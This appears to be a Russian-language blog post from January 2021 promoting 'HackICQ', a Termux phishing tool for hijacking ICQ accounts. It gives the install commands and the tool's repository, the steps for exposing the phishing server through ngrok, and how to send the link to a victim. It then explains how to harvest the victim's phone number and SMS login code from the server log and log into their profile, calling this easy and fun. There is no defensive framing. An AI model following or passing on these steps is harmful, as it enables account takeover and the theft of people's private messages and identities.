January 9, 2021

HackICQ...Утилита для получения доступа к профилям ICQ.

HackICQ
Утилита для получения доступа к профилям ICQ.
Работает как фишинг, но работает без палебно.
Для работы с ним нам необходимо иметь:

Пишем в (TERMUX):
pkg install php
pkg install python
pip install requests
git clone https://github.com/tchelospy/termux-ngrok
cd termux-ngrok
./termux-ngrok.sh
y

Теперь у нас есть необходимости и можно приступать к установке самой утилиты:
git clone https://github.com/termux-lab/hackicq.git
cd hackicq
python3 hackicq.py
Затем пишем необходимый порт.
Например:
8080
2000
3000
3333
и т.п
Жмём Enter и видим как запускается сервер.
Далее открываем новую сессию и запускаем ngrok.
ngrok http 8080
Вместо 8080 пишем тот порт который указали при запуске сервера в первой сессии. Если вы там указали 8080, то указываем и в Ngrok.
Далее копируем ссылку с протоколом HTTPS.
Это и будет ссылка которую необходимо скинуть жертве.
Перейдя к первой сессии мы сможем наблюдать за запросами.
За ранее открываем веб версию ICQ и жмём войти. Наблюдая за запросами в первой сессии, у нас появится номер телефона жертвы и код.
Копируем номер и вводим в поле авторизации и жмём войти. Затем когда нас попросят ввести код, мы вводим код который так же был получен из первой сессии после номера телефона.
Вводим код и мы в профиле жертвы.

Это мы рассмотрели со стороны атакующего. А что же на стороне жертвы произошло?

После того как жертва перешла по ссылке, его попросят подтвердить, что пользователь не является роботом и ввести номер телефона. После того как жертва напишет номер телефона, ему необходимо будет ввести код который придет ему как СМС и только тогда пользователь подтвердит, что не является роботом + не заметит как как-то другой по ту сторону сайта получил эти данные и оказался у него в профиле. По описанию это чуть кажется сложнее, но на практике это легче лёгкого, да и очень увлекательно ;)